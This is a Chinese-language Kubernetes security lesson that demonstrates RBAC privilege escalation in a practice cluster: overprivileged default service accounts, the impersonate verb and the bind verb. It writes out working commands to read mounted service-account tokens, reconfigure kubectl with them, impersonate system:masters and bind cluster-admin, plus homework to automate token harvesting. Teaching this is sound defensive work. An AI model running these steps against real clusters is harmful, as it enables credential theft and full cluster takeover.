今天會開始介紹如何攻擊 K8s 的 RBAC 機制,通常設定上的疏忽有兩種,一種是給予過大的權限、另一種則是給予特殊權限進行提權。先介紹今天攻擊手法的介紹以及架構位置。參考 从攻击者视角聊聊K8S集群安全 - 上 一圖,因為必須依照給予的權限判斷後續可以做的動作,因此 5,6,7,8,9 均有可能發生。
另外依據微軟的 Threat-Matrix-for-Kubernetes,該手法隸屬資料如下 :
先來談談 K8s 的 pod 對於 service account 的特性,在沒有任何設定的情況下會把系統帳號 default 的 token 掛載在 pod 底下,資料夾路徑為 /var/run/secrets/kubernetes.io/serviceaccount/,也因此假如給予這個 default 帳號過高的權限可想而知會發生甚麼恐怖的事情。以下是給予 default 服務帳號 cluster-admin 的相關權限,並且將其掛載在 pod 上面。
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: practice-default-admin-rolebinding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: default
namespace: default
---
apiVersion: v1
kind: Pod
metadata:
name: target-pod
spec:
containers:
- name: target-pod
image: aeifkz/my-ubuntu:v1.0
kubectl exec -it target-pod -- bash ;
cat /var/run/secrets/kubernetes.io/serviceaccount/token ;
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" && chmod +x kubectl ;
#看一下目前的權限有多少
./kubectl auth can-i --list ;
但 K8s 有幾個特殊權限其實也很危險的,分別是 impersonate、binding、escalate 這三個特殊權限,這邊先講前兩種,第三種會以期中考的型式出現,以下將分別進行測試
impersonate 權限
cat <<EOF | kubectl apply -f -
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: practice-impersonate
namespace: default
---
apiVersion: v1
kind: Secret
type: kubernetes.io/service-account-token
metadata:
name: practice-impersonate
annotations:
kubernetes.io/service-account.name: "practice-impersonate"
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: practice-impersonate-cluster-role
rules:
- apiGroups: ["*"]
resources: ["users", "groups", "serviceaccounts"]
verbs: ["impersonate"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: practice-impersonate-rolebinding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: practice-impersonate-cluster-role
subjects:
- kind: ServiceAccount
name: practice-impersonate
namespace: default
---
apiVersion: v1
kind: Pod
metadata:
name: impersonate-target-pod
spec:
containers:
- name: target-pod
image: aeifkz/my-ubuntu:v1.0
serviceAccount: practice-impersonate
EOF
# 先在外面確認預設有高權限的帳號為何
kubectl auth can-i --list --as=system:serviceaccount:kube-system:default ;
kubectl exec -it impersonate-target-pod -- bash ;
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" && chmod +x kubectl ;
# 確認本地端可以執行的權限
./kubectl auth can-i --list ;
# 偽冒高權限 service_account,會失敗,顯示本地端沒有開 8080 port
./kubectl get pods --as=system:serviceaccount:kube-system:default ;
#將檔案複製到根目錄方便操作
cp /var/run/secrets/kubernetes.io/serviceaccount/* / ;
#解譯內容,從 iss 中去解析
cat token ;
# 猜出 server ip 為 10.96.0.1
ping kubernetes.default.svc.cluster.local ;
#設定 server url
./kubectl config set-cluster cfc --server=https://10.96.0.1 --certificate-authority=ca.crt ;
./kubectl config set-context cfc --cluster=cfc ;
token=`cat token` ;
./kubectl config set-credentials user --token=$token ;
./kubectl config set-context cfc --user=user ;
./kubectl config use-context cfc ;
# 重新配置後以高權限用戶身分查看 pod 資訊
./kubectl get pods --as=system:serviceaccount:kube-system:default ;
# 隨意帶入身分,改為用高權限群組的權限進行查看 pod 資訊
./kubectl get pods --as=sss --as-group=system:masters ;
cat <<EOF | kubectl apply -f -
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: practice-binding-cluster-role
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterroles", "clusterrolebindings"]
verbs: ["get","create","bind"]
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: practice-bind
namespace: default
---
apiVersion: v1
kind: Secret
type: kubernetes.io/service-account-token
metadata:
name: practice-bind
annotations:
kubernetes.io/service-account.name: "practice-bind"
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: practice-bind-rolebinding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: practice-binding-cluster-role
subjects:
- kind: ServiceAccount
name: practice-bind
namespace: default
---
apiVersion: v1
kind: Pod
metadata:
name: binding-target-pod
spec:
containers:
- name: target-pod
image: aeifkz/my-ubuntu:v1.0
serviceAccount: practice-bind
EOF
kubectl exec -it binding-target-pod -- bash ;
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" && chmod +x kubectl ;
#看一下目前的權限有多少
./kubectl auth can-i --list ;
cat <<EOF | kubectl apply -f -
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: privileged-bind-rolebinding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: practice-bind
namespace: default
EOF
#看一下目前的權限有多少
./kubectl auth can-i --list ;
./kubectl get pods ;
最後剩下 Esclate 權限,可以修改權限內容,但這邊先不做,留到期中考再來玩玩。
作業 4 (這邊當初錄影時標錯,請多多包涵) : 請寫個腳本去進行自動化的讀取 token、ca.crt,並且於設定資料後切換 context,傳入參數不限方便使用即可。該腳本期中考可能會用到喔!!!!
今日總結 :
本日回顧 :
次日預告 :